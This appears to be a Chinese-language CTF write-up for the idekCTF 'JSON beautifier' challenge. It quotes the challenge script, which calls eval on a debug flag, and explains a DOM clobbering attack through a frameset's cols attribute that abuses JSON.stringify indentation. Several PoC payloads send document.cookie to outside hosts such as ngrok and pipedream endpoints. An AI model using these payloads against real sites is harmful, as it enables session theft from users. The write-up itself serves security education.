```javascript
window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');

const defaults = {
    opts: {
        cols: 4
    },
    debug: false,
};

const beautify = () => {
    try {
        userJson = JSON.parse(inputBox.textContent);
    } catch (e){
        return;
    };

    loadConfig();   //导入config属性值，直接解析
    const cols = this.config?.opts?.cols || defaults.opts.cols;     //优先使用this.config.
    output = JSON.stringify(userJson, null, cols);

    console.log(this.config?.opts)

    if(this.config?.debug || defaults.debug){
        eval(`beautified = ${output}`);          //存在debug执行
        return beautified;
    };

    outputBox.innerHTML = `<pre>${output}</pre>`
};

const saveConfig = (config) => {
    localStorage.setItem('config', JSON.stringify(config));
};

const loadConfig = () => {
    if (localStorage.hasOwnProperty('config')){
        window.config = JSON.parse(localStorage.getItem('config'))
    };
}

console.log('hello from JSON beautifier!')

inputBox.addEventListener("DOMCharacterDataModified", () => {
    beautify();
});

if((new URL(location).searchParams).get('json')){
    const jsonParam = (new URL(location).searchParams).get('json');
    inputBox.textContent = jsonParam;
};

beautify();
```

```
Content-Security-Policy: script-src 'unsafe-eval' 'self'; object-src 'none';
Connection: close
```

存在 CSP，userJson domxss 好像不太行

```
output = JSON.stringify(userJson, null, cols);
```

JSON.stringify(value, replacer, space) 的第三个参数 space：

- **如果是数字：控制缩进空格数**
- **如果是字符串：用该字符串作为每层缩进前缀**
- **JS 规范会截断到最多 10 个字符**

我们可以控制输出文本中每一层缩进的前缀内容

1、传入 config.debug 触发 eval
2、触发 beautify():json 存在值-->解析作为 userJson，该值存在才会进行下一步
3、inputBox 元素内部的任意文本节点被修改时，事件会冒泡触发回调
问题在于，如何利用 cols 以及传入 config

POC 如下：

```
<script>
    function htmlEscape(str) {
        return str
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#039;')
    }
    const target = 'http://json-beautifier.chal.idek.team:1337/'
    const ht =
        `<div id=json-input>["*/eval(top.name)//"]</div>
    <iframe name=config srcdoc='<head></head><frameset id=opts cols="/*">
            <frame id=debug src=about:blank />
        </frameset>
    '></iframe>
    <script src=/static/js/main.js?iframe></` + `script>`
    window.name = '(new Image).src = "https://???.ngrok.io/report?" + document.cookie'
    location =
        target +
        '?json=' +
        encodeURIComponent(
            JSON.stringify({
                a: `<iframe srcdoc='${htmlEscape(ht)}'></iframe>`
            })
        )
</script>
```

使用 dom clobber（简单原理：https://cloud.tencent.com/developer/article/1808582）
这里使用 frameset：frameset 自带属性：cols（几乎不可替代）
main.js 中直接使用 config.opts.cols，name 映射的是元素对象，而非值
而我们需要对 cols 赋值为"*"
为难的是不知道是否因为浏览器和 HTML 的更新迭代，我没有真正复现出带外结果。
为此我尝试了很多变形和更多人的 poc，但是均失败了

```
{
  "xxx": "
    <iframe srcdoc='
        <textarea id=json-input>
            [\"`+(location=`https://XXXX.m.pipedream.net/`+document.cookie)//\"]      //json传参
        </textarea>
        <iframe name=config srcdoc='     //覆盖window.config
            <frameset id=debug> <frameset id=opts cols=\"`\">        //令config.debug存在，且污染cols
            '>
        </iframe>
        <script src=static/js/main.js></script>
    '>"
}
```

```
{
    "xxx":"
        <iframe name='navigator.sendBeacon(atob(/url/.source),document.cookie)' srcdoc='     // /url/.source === "url"
            <div id=json-input>[-3]</div>        //一定是负数，因为拼接实现[eval(name)-3]看成是减法
            <script defer src=/static/js/main.js></script>
            <iframe name=config srcdoc="
                <head id=debug></head>
                <frameset id=opts cols=eval(name)></frameset>">
            </iframe>'>
        </iframe>"
}
```